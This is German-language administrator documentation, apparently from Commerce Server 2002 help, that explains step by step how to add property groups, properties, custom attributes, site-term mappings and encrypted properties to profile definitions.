Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So fügen Sie eine neue Eigenschaftsgruppe hinzu

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition aus, der Sie eine neue Eigenschaftsgruppe hinzufügen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Klicken Sie im Bildschirm Profil: Profildefinition in der Liste Eigenschaften auf Hinzufügen.

    Hinweise

    • Sie können die Profileigenschaften organisieren, indem Sie eine Hierarchie von Eigenschaftsgruppen erstellen. Zum Erstellen einer Hierarchie von Eigenschaftsgruppen wählen Sie eine vorhandene Eigenschaftsgruppe aus, der Sie eine neue Eigenschaftsgruppe hinzufügen möchten, und klicken Sie anschließend auf Hinzufügen.
    • Wenn Sie eine Eigenschaftsgruppe ausgewählt haben, wird die neu erstellte Eigenschaftsgruppe der ausgewählten Eigenschaftsgruppe untergeordnet. Wenn Sie die Auswahl einer Eigenschaftsgruppe vor dem Hinzufügen einer neuen Gruppe aufheben möchten, müssen Sie auf der Symbolleiste auf Zurück klicken und anschließend unter Profile die Option Sitebegriffs-Editor auswählen.
  4. Wählen Sie im Dialogfeld Hinzufügen die Option Neue Gruppe hinzufügen aus, und klicken Sie anschließend auf Ja.
  5. Führen Sie im Bereich Attribute folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen programmgesteuerten Namen für die neue Eigenschaftsgruppe ein. Der Name kann bis zu 128 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Die Verwendung von Leerzeichen ist nicht zulässig.
    Angezeigter Name | Geben Sie den Namen ein, der für die neue Eigenschaftsgruppe angezeigt werden soll. Der angezeigte Name kann aus maximal 128 Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung der neuen Eigenschaftsgruppe ein.
  6. Wenn die neue Eigenschaftsgruppe übernommen und in der Liste Eigenschaften angezeigt werden soll, klicken Sie auf Übernehmen.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Eigenschaftsgruppe zu speichern und zum Bildschirm Profile zurückzukehren.

Die Profildefinition wird mit der neuen Eigenschaftsgruppe gespeichert. Nun können Sie vorhandene Eigenschaften in die neue Gruppe verschieben oder neue Eigenschaften für die Gruppe erstellen. Informationen zum Verschieben von Eigenschaften finden Sie unter Verschieben von Profileigenschaften. Nachdem Sie eine Eigenschaftsgruppe zu einer Profildefinition hinzugefügt haben, müssen Sie die Änderungen in Ihrer Website veröffentlichen. Informationen über das Veröffentlichen von Änderungen finden Sie unter Veröffentlichen von Profildefinitionsänderungen in Ihrer Website.

Siehe auch

Hinzufügen von benutzerdefinierten Attributen zu einer Profileigenschaft

Profildefinitionen

Profileigenschaften

Hinzufügen von Eigenschaften zu einer Profildefinition

Bearbeiten von Profileigenschaften


Hinzufügen von Eigenschaften zu einer Profildefinition

Verwenden Sie das Modul "Profildefinitions-Designer", um Eigenschaften zu Profildefinitionen hinzuzufügen und die Attribute der neuen Eigenschaften zu definieren.

Profileigenschaften bestimmen die Profildaten, die zusammengestellt werden sollen, wenn ein Benutzer Ihre Website besucht. So gibt z. B. die Profileigenschaft Vorname an, dass die Vornamen der Benutzer abgefragt werden sollen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen einer neuen Eigenschaft zu einer Profildefinition
  • Verknüpfen einer Eigenschaft mit einem Datenelement
  • Hinzufügen von benutzerdefinierten Attributen zu einer Profileigenschaft


Hinzufügen einer neuen Eigenschaft zu einer Profildefinition

Jede Profileigenschaft verfügt über Attribute, die bestimmen, welche Art von Informationen von der Eigenschaft gesammelt werden. So können Sie z. B. die Attribute der Profileigenschaft Vorname verwenden, um diese Eigenschaft als einwertige Zeichenfolge festzulegen, die in das Data Warehouse exportiert werden kann.

So fügen Sie eine neue Eigenschaft hinzu

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition aus, der Sie eine Eigenschaft hinzufügen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Profil: Profildefinition in der Liste Eigenschaften die Eigenschaftsgruppe, der Sie die neue Eigenschaft hinzufügen möchten, und klicken Sie dann auf Hinzufügen.
    Hinweis
    • Wenn Sie keine Eigenschaftsgruppe auswählen, wird die neue Eigenschaft nicht nach Eigenschaftsgruppen organisiert und stattdessen in der Eigenschaftsgruppenebene angezeigt.
  4. Wählen Sie im Dialogfeld Hinzufügen die Option Neue Eigenschaft hinzufügen aus, und klicken Sie anschließend auf OK.
  5. Führen Sie im Bereich Attribute folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen programmgesteuerten Namen für die Eigenschaft ein. Der Name kann bis zu 128 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Eingeben eines angezeigten Namens für die Eigenschaft. Der angezeigte Name kann aus maximal 128 Zeichen bestehen.
    Beschreibung | Eingeben einer Beschreibung für die Eigenschaft.
    Typ Wählen Sie den Eigenschaftstyp in der Dropdownliste aus. Es gibt folgende Eigenschaftstypen:
    • Zeichenfolge
    • Lange Zeichenfolge
    • Zahl
    • Dezimal
    • Boolesch
    • Binärwert
    • Langer Binärwert
    • Datum/Uhrzeit
    • Datum
    • Uhrzeit
    • Währung
    • Kennwort
    • Sitebegriff
    • Profil

    Hinweis

    • Informationen über das Hinzufügen von Eigenschaften für die Zuordnung von Sitebegriffen finden Sie unter Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden.
    • Informationen zum Herstellen einer Beziehung zwischen zwei Profildefinitionen finden Sie unter Einbetten einer Profildefinition.
  6. Führen Sie im Bereich Erweiterte Attribute folgende Schritte aus:
    Funktion | Aktion
    Aktiv | Geben Sie an, ob die neue Eigenschaft Aktiv oder Inaktiv ist.
    Daten zuordnen Klicken Sie auf die Auslassungsschaltfläche […], um das Dialogfeld Datenquellenauswahl zu öffnen.

    Wählen Sie im Dialogfeld Datenquellenauswahl das Datenelement für die Eigenschaft aus. Für die Eigenschaft stehen die Datenelemente zur Verfügung, die noch nicht in der bearbeiteten Profildefinition verwendet werden. Eigenschaften, die von der Profildefinition bereits verwendet werden, sind nicht verfügbar.

    Wenn Sie die Eigenschaft keinem Datenelement zuordnen, wird sie nicht in einer Datenbank gespeichert, sondern bleibt im Arbeitsspeicher verfügbar, z. B. um Zustandsinformationen zu speichern, während ein Benutzer Ihre Website besucht.

    Schlüsseltyp Wählen Sie einen Schlüsseltyp in der Dropdownliste aus:
    • Eindeutiger Schlüssel. Gibt an, dass der Wert dieser Eigenschaft für alle Elemente eindeutig ist. Ein als eindeutig definiertes Attribut wird einem eindeutigen Feld in einer SQL Server-Datenbank oder einem eindeutigen Attribut in einer Lightweight Directory Access Protocol (LDAP)-Datenquelle zugeordnet.
    • Primärschlüssel. Gibt an, dass der Wert dieser Eigenschaft für alle Elemente eindeutig ist. Ein als Primärschlüssel definiertes Attribut wird einem Primärschlüsselfeld in einer SQL Server-Datenbank oder einem eindeutigen Attribut in einer LDAP-Datenquelle zugeordnet. Der Primärschlüssel wird verwendet, um Profile, die mit eingebetteten Profildefinitionen erstellt wurden, zueinander in Beziehung zu setzen.
    • Verbindungsschlüssel. Verknüpft diese Eigenschaft mit einer Eigenschaft in einem anderen Datenspeicher des Profildienstes. Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie die Datenbankspalten löschen, die die Verbindungsschlüsseldaten enthalten. Nach dem Migrieren der alten Daten in die neuen Datenbankspalten müssen Sie die Datenbankspalten löschen. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.
    • Dualer (Primär- und Verbindungs-) Schlüssel. Gibt an, dass der Wert dieser Eigenschaft eindeutig ist, und verbindet diese Eigenschaft mit einer Eigenschaft in einem anderen Datenspeicher.
    Verschlüsselt | Commerce Server unterstützt zwei Arten der Verschlüsselung: Asymmetrische Verschlüsselung und unidirektionales Hash. Symmetrische Verschlüsselung wird von Commerce Server 2002 nicht unterstützt. Siehe Hinzufügen von verschlüsselten Eigenschaften zu einer Profildefinition.
    Erforderlich | Gibt an, dass diese Eigenschaft einen Wert enthalten muss.
    Exportiert | Gibt an, dass diese Eigenschaft in das Data Warehouse exportiert werden soll.
    Cacheload verzögern | Gibt an, dass eine Rückgabe der Eigenschaft erst erfolgt, wenn sie ausdrücklich angefordert wird.
    Mehrwertig | Gibt an, dass die Eigenschaft mehrere Werte akzeptiert.
    Suche aktivieren | Gibt an, dass die Eigenschaft für die Suchfunktion in der Website zur Verfügung steht.
    RDN | Kennzeichnet diese Eigenschaft als RDN (Relative Distinguished Name) für alle Profile, die Lightweight Directory Access Protocol (LDAP)-Quellen zugeordnet werden. Dies gilt nicht für OLE DB-Quellen (OLE DB Provider von Microsoft Commerce Server) oder andere Datenquellentypen.
    Hashschlüssel | Gibt an, dass dieser Eigenschaftswert mithilfe der Hashtechnik verschlüsselt wird. Ferner wird mit diesem Wert festgelegt, in welcher Datenquellenpartition die Profildaten gespeichert werden.
  7. Wenn die neue Eigenschaft übernommen und in der Liste Eigenschaften angezeigt werden soll, klicken Sie auf Übernehmen.
  8. Klicken Sie zum Speichern der Eigenschaft auf der Symbolleiste auf Speichern, um das Profil zu speichern.

Die Profildefinition wird mit der neuen Eigenschaft gespeichert. Nachdem Sie eine Eigenschaft zu einer Profildefinition hinzugefügt haben, müssen Sie die Änderungen in Ihrer Website veröffentlichen. Informationen über das Veröffentlichen von Änderungen finden Sie unter Veröffentlichen von Profildefinitionsänderungen in Ihrer Website.


Verknüpfen einer Eigenschaft mit einem Datenelement

Wenn Sie die Eigenschaft keinem Datenelement zuordnen, wird sie nicht in einer Datenbank gespeichert, sondern bleibt im Arbeitsspeicher verfügbar, z. B. um Zustandsinformationen zu speichern, während ein Benutzer Ihre Website besucht.

Für die Eigenschaft stehen die Datenelemente zur Verfügung, die noch nicht in der bearbeiteten Profildefinition verwendet werden. Eigenschaften, die von der Profildefinition bereits verwendet werden, sind nicht verfügbar. Weitere Informationen finden Sie unter Hinzufügen einer neuen Eigenschaft zu einer Profildefinition.

So erfolgt die Datenzuordnung

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit der Eigenschaft aus, der das benutzerdefinierte Attribut hinzugefügt werden soll.
  3. Klicken Sie auf die Auslassungsschaltfläche […], um das Dialogfeld Datenquellenauswahl zu öffnen.
  4. Wählen Sie im Dialogfeld Datenquellenauswahl das Datenelement für die Eigenschaft aus.


Hinzufügen von benutzerdefinierten Attributen zu einer Profileigenschaft

Das Hinzufügen benutzerdefinierter Attribute zu einer Profileigenschaft ist auch mit dem Profildefinitions-Designer möglich. Mithilfe benutzerdefinierter Attribute können Merkmale von Profileigenschaften definiert werden, die in den bereits vorhandenen Attributen nicht verfügbar sind. Sie können beispielsweise benutzerdefinierte Attribute erstellen, die Sicherheits- bzw. Fehlerbehandlungsinformationen auf Eigenschaftsebene bieten. Informationen über Attribute von Profileigenschaften finden Sie unter Profilattribute.

Die benutzerdefinierten Attribute sDisplayColumn und sFriendlyName müssen so festgelegt werden, dass bestimmte allgemeine Profile mithilfe des Profil-Editors bearbeitet werden können.

Mit dem benutzerdefinierten Attribut sDisplayColumn bestimmen Sie, welche Profildaten angezeigt werden. Darüber hinaus werden mithilfe dieses Attributs Profile im Bildschirm Suchen des Moduls "Profil-Editor" für eine bestimmte allgemeine Profildefinition festgelegt. Mit dem benutzerdefinierten Attribut sFriendlyName bestimmen Sie, welche Profildaten angezeigt werden. Darüber hinaus wird mit diesem Attribut das Profil festgelegt, das in der Titelleiste des Bildschirms Profil bearbeiten im Modul "Profil-Editor" angezeigt wird. Diese benutzerdefinierten Attribute können für alle Profile verwendet werden. Informationen über benutzerdefinierte Profilattribute finden Sie unter Benutzerdefinierte Profilattribute.

Hinweis

  • Wenn ein Profil nur eine Eigenschaft enthält, für die das benutzerdefinierte Attribut sDisplayColumn definiert ist, wird der Inhalt der Profilanzeigespalte für diese Eigenschaft standardmäßig in aufsteigender Reihenfolge sortiert.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So fügen Sie das benutzerdefinierte Attribut "sDisplayColumn" hinzu

So fügen Sie das benutzerdefinierte Attribut "sFriendlyName" hinzu

So fügen Sie das benutzerdefinierte Attribut "sDisplayColumn" hinzu

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit der Eigenschaft aus, zu der Sie das benutzerdefinierte Attribut hinzufügen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Erweitern Sie im Bildschirm Profil: Profildefinition in der Liste Eigenschaften die Gruppe mit der Eigenschaft, der Sie ein benutzerdefiniertes Attribut hinzufügen möchten. Wählen Sie anschließend die Eigenschaft aus.
  4. Klicken Sie im Bereich Benutzerdefinierte Attribute auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Name Geben Sie sDisplayColumn ein.

    Hinweis

    • Bei diesem Attribut wird zwischen Groß- und Kleinschreibung unterschieden.
    Angezeigter Name | Geben Sie den Spaltennamen ein.
    Beschreibung | Geben Sie eine Beschreibung des Attributs ein.
    Wert Geben Sie den Wert ein, der dem Attribut zugewiesen werden soll. Der Wert dieses Spaltenattributs bestimmt die relative Breite der Spalte für die Eigenschaft im Bildschirm Suchen.

    Wenn Sie als Wert des sDisplayColumn-Attributs für diese Eigenschaft beispielsweise 2 und als Wert für das sDisplayColumn-Attribut einer anderen Eigenschaft 4 festlegen, ist die Spalte für letztere Eigenschaft doppelt so breit wie die Spalte für die erste Eigenschaft.
  5. Klicken Sie auf Annehmen.

    Hinweis

    • Sie können die Schritte 4 und 5 wiederholen, um bei Bedarf weitere benutzerdefinierte Attribute zu dieser Eigenschaft hinzuzufügen.
  6. Klicken Sie auf Übernehmen, um das neue benutzerdefinierte Attribut für die ausgewählte Eigenschaft zu übernehmen.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Profildefinition mit dem neuen benutzerdefinierten Attribut zu speichern und zum Bildschirm Profile zurückzukehren.

Die Profildefinition wird mit dem neuen benutzerdefinierten Attribut sDisplayColumn gespeichert.

So fügen Sie das benutzerdefinierte Attribut "sFriendlyName" hinzu

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit der Eigenschaft aus, zu der Sie ein benutzerdefiniertes Attribut hinzufügen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Erweitern Sie im Bildschirm Profil in der Liste Eigenschaften die Gruppe mit der Eigenschaft, zu der Sie das benutzerdefinierte Attribut hinzufügen möchten. Wählen Sie anschließend die Eigenschaft aus.
  4. Klicken Sie im Bereich Benutzerdefinierte Attribute auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Name Geben Sie sFriendlyName ein.

    Hinweis

    Bei diesem Attribut wird zwischen Groß- und Kleinschreibung unterschieden.

    Angezeigter Name | Geben Sie Angezeigter Name ein.
    Beschreibung | Geben Sie eine Beschreibung des Attributs ein.
    Wert | Der Wert des Attributs sFriendlyName wird nicht verwendet.
  5. Klicken Sie auf Annehmen.

    Hinweis

    • Sie können die Schritte 4 und 5 wiederholen, um bei Bedarf weitere benutzerdefinierte Attribute zu dieser Eigenschaft hinzuzufügen.
  6. Klicken Sie auf Übernehmen, um das neue benutzerdefinierte Attribut zu übernehmen.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Profildefinition mit dem neuen benutzerdefinierten Attribut zu speichern und zum Bildschirm Profile zurückzukehren.

Die Profildefinition wird mit dem neuen benutzerdefinierten Attribut gespeichert. Eine Eigenschaft mit dem benutzerdefinierten Attribut sFriendlyName ist die erste Spalte, die im Bildschirm Suchen angezeigt wird. Wenn Sie das benutzerdefinierte Attribut sFriendlyName mehr als einer Eigenschaft in der Profildefinition zuweisen, wird in der Titelleiste des Bildschirms Profil bearbeiten die erste Eigenschaft (in der Liste Eigenschaften des Bildschirms Profil), die als Anzeigename verwendet wird, angezeigt.

Nachdem Sie Änderungen an einer Profildefinition vorgenommen haben, müssen Sie die Änderungen in Ihrer Website veröffentlichen. Informationen über das Veröffentlichen von Änderungen finden Sie unter Veröffentlichen von Profildefinitionsänderungen in Ihrer Website.

In der folgenden Tabelle werden die benutzerdefinierten Attribute der Profileigenschaften aufgelistet.

Benutzerdefiniertes Attribut | Beschreibung | Wert
DWMemberName | Gibt den Namen des Datenelements (hier: einer Tabellenspalte) in dem Data Warehouse an, in dem die Profileigenschaft gespeichert wird. Wenn der Elementname (die Spalte) in der angegebenen Data Warehouse-Klasse (Tabelle) nicht vorhanden ist, wird er durch den DTS-Profildatenimport-Task erstellt. | Der Name der Spalte in Data Warehouse.
IsTransactioned | Gibt an, ob mehrere Transaktionsdatenspeicher übergreifende Schreibtransaktionen unterstützt werden. | Wahr = Aktiviert Falsch = Deaktiviert
sAnonymousAccess | Gibt an, welche Form des Zugriffs anonymen Benutzern in der Website auf der Seite Kundenservice für die Eigenschaft gewährt wird. | 0 = Für anonyme Benutzer nicht sichtbar 1 = Schreibgeschützt 2 = Bearbeitbar
sDelegatedAdminAccess | Gibt an, welche Form des Zugriffs delegierten Administratoren in der Website auf der Seite Kundenservice für die Eigenschaft gewährt wird. | 0 = Für Administratoren nicht sichtbar 1 = Schreibgeschützt 2 = Bearbeitbar
sDisplayColumn | Gibt an, welche Profildaten angezeigt werden. Darüber hinaus werden mithilfe dieses Attributs Profile im Bildschirm Suchen des Moduls "Profil-Editor" für eine bestimmte allgemeine Profildefinition identifiziert. Wenn ein Profil nur eine Eigenschaft enthält, für die das benutzerdefinierte Attribut sDisplayColumn definiert ist, wird der Inhalt der Profilanzeigespalte für diese Eigenschaft standardmäßig in aufsteigender Reihenfolge sortiert. | Der Wert bestimmt die relative Breite der Spalte für die Eigenschaft. Bei diesem Attribut wird zwischen Groß- und Kleinschreibung unterschieden. Es kann nicht als Verbindungsschlüssel oder dualer Schlüssel definiert werden.
sFeatureID | Gibt die Siteszenarien an, in deren Rahmen die Eigenschaft in der Website auf den Seiten Kundenservice und Partnerservice angezeigt wird. | 0 = Wird immer angezeigt. 1 = Wird nur angezeigt, wenn die Site die Optionen für den delegierten Administrator unterstützt. 3 = Wird nur angezeigt, wenn für die Site Active Directory verwendet wird.
sFriendlyName | Gibt an, welche Profildaten angezeigt werden. Darüber hinaus wird mit diesem Attribut das Profil identifiziert, das in der Titelleiste des Bildschirms Profil bearbeiten im Modul "Profil-Editor" bearbeitet wird. | Bei diesem Attribut wird zwischen Groß- und Kleinschreibung unterschieden. Es kann nicht als Verbindungsschlüssel oder dualer Schlüssel definiert werden. Der Wert des Attributs sFriendlyName wird nicht verwendet.
sSearchOptions | Gibt an, ob eine bestimmte Eigenschaft dem Benutzer im Rahmen der Optionen zum Durchsuchen der Site zur Verfügung steht. | Keine = Eigenschaft steht für keine der Suchoptionen zur Verfügung. Alle = Eigenschaft steht für einfache und erweiterte Suchvorgänge zur Verfügung. Erweitert = Eigenschaft steht nur bei erweiterten Suchvorgängen zur Verfügung.
sShownInList | Gibt an, ob eine Eigenschaft auf der Seite ListSheet angezeigt wird. | 0 = Eigenschaft wird nicht angezeigt. 1 = Eigenschaft wird angezeigt.
sSiteAdminAccess | Gibt an, welche Form des Zugriffs Siteadministratoren in der Website auf der Seite Kundenservice für die Eigenschaft gewährt wird. | 0 = Für Siteadministratoren nicht sichtbar 1 = Schreibgeschützt 2 = Bearbeitbar
sUserAccess | Gibt an, welche Form des Zugriffs registrierten Benutzern in der Website auf der Seite Kundenservice für die Eigenschaft gewährt wird. | 0 = Für registrierte Benutzer nicht sichtbar 1 = Schreibgeschützt 2 = Bearbeitbar
Password | Gibt an, dass die Eigenschaft dem Typ Kennwort angehört. Wenn für dieses benutzerdefinierte Attribut der Wert 1 festgelegt ist, können für die Benutzeroberfläche spezielle Funktionen zum Schutz des Kennworts implementiert werden. Beispielsweise können im Browserfenster an Stelle der tatsächlichen Zeichen Sternchen (*) verwendet werden, und zur Überprüfung von Vorgängen zur Änderung des Kennworts stehen mehrere Felder zur Verfügung: Eingabefeld für den alten Wert, Eingabefeld für den neuen Wert und Bestätigungsfeld zur nochmaligen Eingabe des neuen Wertes. | 0 = Eigenschaftstyp Normal 1 = Eigenschaftstyp Kennwort
EncryptionType | Gibt an, dass die Eigenschaft verschlüsselt ist. Mit diesem Attribut kennzeichnen Sie Eigenschaften, die im Speicher verschlüsselt sein müssen. Beachten Sie ferner, dass es sich hierbei um einen reservierten benutzerdefinierten Eigenschaftswert handelt. Wenn eine Eigenschaft als verschlüsselt gekennzeichnet ist, wird sie automatisch für Sie erstellt und in der dynamischen Tabelle der benutzerdefinierten Attribute ausgeblendet. | 1 = Verschlüsselt mit einem öffentlichen/privaten Schlüssel 2 = Verschlüsselt mit einem unidirektionalen Hash-Schlüssel

Siehe auch

Hinzufügen einer Eigenschaftsgruppe zu einer Profildefinition

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden


Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden

Nach der Erstellung eines Sitebegriffs kann dieser zu einer Profildefinition hinzugefügt werden. Sitebegriffe bieten eine einfache Möglichkeit, die Werte, die innerhalb Ihrer Site verwendet werden, zu standardisieren. Wenn alle Sitebegriffe erstellt sind, können Sie eine Profildefinition einrichten, in der diese Sitebegriffe enthalten sind. Auf diese Weise können Sie Sitebenutzer, die dieser Profildefinition entsprechen, später zielgerichtet mit bestimmten Anzeigen ansprechen. Informationen zu Sitebegriffen finden Sie unter Sitebegriffe.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So fügen Sie einen Sitebegriff zu einer Profildefinition hinzu

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition mit der Eigenschaft aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Profil: Profildefinition in der Liste Eigenschaften die Eigenschaft aus, der Sie den Sitebegriff hinzufügen möchten, und klicken Sie dann auf Hinzufügen.

    Hinweis

    • Wenn die Eigenschaft in der Liste Eigenschaften nicht angezeigt wird, erweitern Sie die Eigenschaftsgruppe, welche die betreffende Eigenschaft enthält, und wählen Sie anschließend die Eigenschaft aus.
  4. Wählen Sie im Dialogfeld Hinzufügen die Option Neue Eigenschaft hinzufügen aus, und klicken Sie anschließend auf OK.
  5. Führen Sie im Bereich Attribute folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen programmgesteuerten Namen für die Eigenschaft ein. Der Name kann bis zu 128 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Eingeben eines angezeigten Namens für die Eigenschaft. Der angezeigte Name kann aus maximal 128 Zeichen bestehen.
    Beschreibung | Eingeben einer Beschreibung für die Eigenschaft.
    Typ | Wählen Sie in der Dropdownliste Typ die Option Sitebegriff aus.
    Typverweis | Klicken Sie auf Auslassungsschaltfläche , um das Dialogfeld Sitebegriffsauswahl zu öffnen.
  6. Erweitern Sie im Dialogfeld Sitebegriffsauswahl in der Liste Wählen Sie einen Sitebegriff aus die Sitebegriffsgruppe, die den Sitebegriff enthält, welcher zu der Eigenschaftsdefinition hinzugefügt werden soll, und wählen Sie den Sitebegriff aus. Informationen über die Erstellung eines Sitebegriffs finden Sie unter Erstellen eines Sitebegriffs.
  7. Klicken Sie auf OK.
  8. Führen Sie im Bereich Erweiterte Attribute folgende Schritte aus:
    Vorgehensweise | Aktion
    Aktiv | Geben Sie an, ob die neue Eigenschaft Aktiv oder Inaktiv ist.
    Daten zuordnen Klicken Sie auf Auslassungsschaltfläche, um das Dialogfeld Datenquellenauswahl zu öffnen.

    Wählen Sie im Dialogfeld Datenquellenauswahl das Datenelement für die Eigenschaft aus. Für die Eigenschaft stehen die Datenelemente zur Verfügung, die noch nicht in der bearbeiteten Profildefinition verwendet werden. Eigenschaften, die von der Profildefinition bereits verwendet werden, sind nicht verfügbar.

    Wenn Sie die Eigenschaft keinem Datenelement zuordnen, wird sie nicht in einer Datenbank gespeichert, sondern bleibt im Arbeitsspeicher verfügbar, z. B. um Zustandsinformationen zu speichern, während ein Benutzer Ihre Website besucht.

  9. Klicken Sie auf Übernehmen, um den neuen Sitebegriff auf die Profildefinition anzuwenden und in der Liste Eigenschaften anzuzeigen.
  10. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die bearbeitete Profildefinition zu speichern und zum Bildschirm Profile zurückzukehren.

Die Profildefinition wird gespeichert. Veröffentlichen Sie nun die Profildefinitionsänderungen in Ihrer Website. Informationen über das Veröffentlichen von Änderungen finden Sie unter Veröffentlichen von Profildefinitionsänderungen in Ihrer Website.

Siehe auch

Erstellen eines Sitebegriffs

Hinzufügen von Eigenschaften zu einer Profildefinition

Bearbeiten von Profileigenschaften

Bearbeiten von Sitebegriffen


Hinzufügen von verschlüsselten Eigenschaften zu einer Profildefinition

Mit Commerce Server 2002 verfügen Sie über Verschlüsselungsfunktionen, die die Sicherung der Daten mit Verschlüsselungstools der höchsten Sicherheitsstufe ermöglichen. Commerce Server 2002 unterstützt zwei Arten der Verschlüsselung: asymmetrische Verschlüsselung und unidirektionales Hash. Symmetrische Verschlüsselung wird von Commerce Server 2002 nicht unterstützt.

In den folgenden Schrittfolgen wird erläutert, wie neue, möglicherweise verschlüsselte Profileigenschaften hinzugefügt werden.

Vorsicht

Eigenschaften mit bestehenden Daten dürfen nicht als verschlüsselbar gekennzeichnet werden, da die bestehenden Daten sonst verloren gehen.

So fügen Sie eine neue Eigenschaft für den Schlüsselindex hinzu

So fügen Sie ein benutzerdefiniertes Attribut auf Profilebene hinzu

So fügen Sie einem Profil verschlüsselte Eigenschaften hinzu

So fügen Sie eine neue Eigenschaft für den Schlüsselindex hinzu

Es empfiehlt sich, in der Eigenschaftsgruppe Profilsystem eine neue Eigenschaft zu erstellen.

  1. Öffnen Sie Commerce Server-Manager.
  2. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profilkatalog und Profildefinitionen, und klicken Sie dann auf Benutzerobjekt.
  3. Klicken Sie im rechten Bereich in der Liste Eigenschaften auf Profilsystem.
  4. Klicken Sie auf Hinzufügen.
  5. Wählen Sie im Dialogfeld Hinzufügen – Webseite die Option Neue Eigenschaft hinzufügen aus.
  6. Klicken Sie auf OK.
  7. Geben Sie im Abschnitt Attribute die folgenden Daten ein:
    Funktion | Aktion
    Name | Geben Sie den Namen ein (z. B. Schlüsselindex).
    Angezeigter Name | Geben Sie den Namen ein, der angezeigt werden soll (z. B. Schlüsselindex).
    Beschreibung | Optional.
    Typ | Wählen Sie Zahl aus.
    Typverweis | N/V
  8. Klicken Sie auf Erweiterte Attribute, und geben Sie Folgendes ein:
    Funktion | Aktion
    Aktiv | Deaktivieren Sie Ja.
    Daten zuordnen | Klicken Sie auf die Auslassungsschaltfläche [...], um die Eigenschaft einem Datenelement des Typs Zahl zuzuordnen.
  9. Klicken Sie auf Übernehmen und anschließend auf Speichern.

So fügen Sie ein benutzerdefiniertes Attribut auf Profilebene hinzu

  1. Klicken Sie mit der rechten Maustaste auf das Profil (z. B. auf Benutzerobjekt), und wählen Sie Eigenschaften aus.
  2. Klicken Sie auf die Registerkarte Benutzerdefinierte Attribute.
  3. Klicken Sie auf Neu.
  4. Geben Sie im Dialogfeld Benutzerdefiniertes Attribut die folgenden Daten ein:
    Funktion | Aktion
    Name | Geben Sie Schlüsselindex ein.
    Angezeigter Name | Geben Sie den anzuzeigenden Namen ein (z. B. Schlüsselindex).
    Beschreibung | Geben Sie eine Beschreibung des benutzerdefinierten Attributs Schlüsselindex ein.
    Wert Geben Sie Schlüsselindex ein.

    Dabei sollte es sich um denselben Eigenschaftsnamen wie bei dem in der vorherigen Schrittfolge So fügen Sie eine neue Eigenschaft für den Schlüsselindex hinzu erstellten Profil handeln.
  5. Klicken Sie im Dialogfeld Benutzerdefiniertes Attribut auf OK.
  6. Klicken Sie im Dialogfeld Eigenschaften von Benutzerobjekt auf Übernehmen, und klicken Sie anschließend auf OK.

So fügen Sie einem Profil verschlüsselte Eigenschaften hinzu

  1. Klicken Sie im rechten Seitenbereich auf Hinzufügen.
  2. Wählen Sie im Dialogfeld Hinzufügen – Webseite die Option Neue Eigenschaft hinzufügen aus.
  3. Klicken Sie auf OK.
  4. Geben Sie im Abschnitt Attribute die folgenden Daten ein:
    Funktion | Aktion
    Name | Geben Sie den Eigenschaftsnamen ein.
    Angezeigter Name | Geben Sie den anzuzeigenden Namen ein.
    Beschreibung | Geben Sie die Beschreibung des benutzerdefinierten Attributs Schlüsselindex ein.
    Typ | Wählen Sie Kennwort oder Zeichenfolge.
  5. Geben Sie im Abschnitt Erweiterte Attribute die folgenden Daten ein:
    Funktion | Aktion
    Daten zuordnen | Klicken Sie auf die Auslassungsschaltfläche [...], um die Eigenschaft einem Datenelement zuzuordnen.
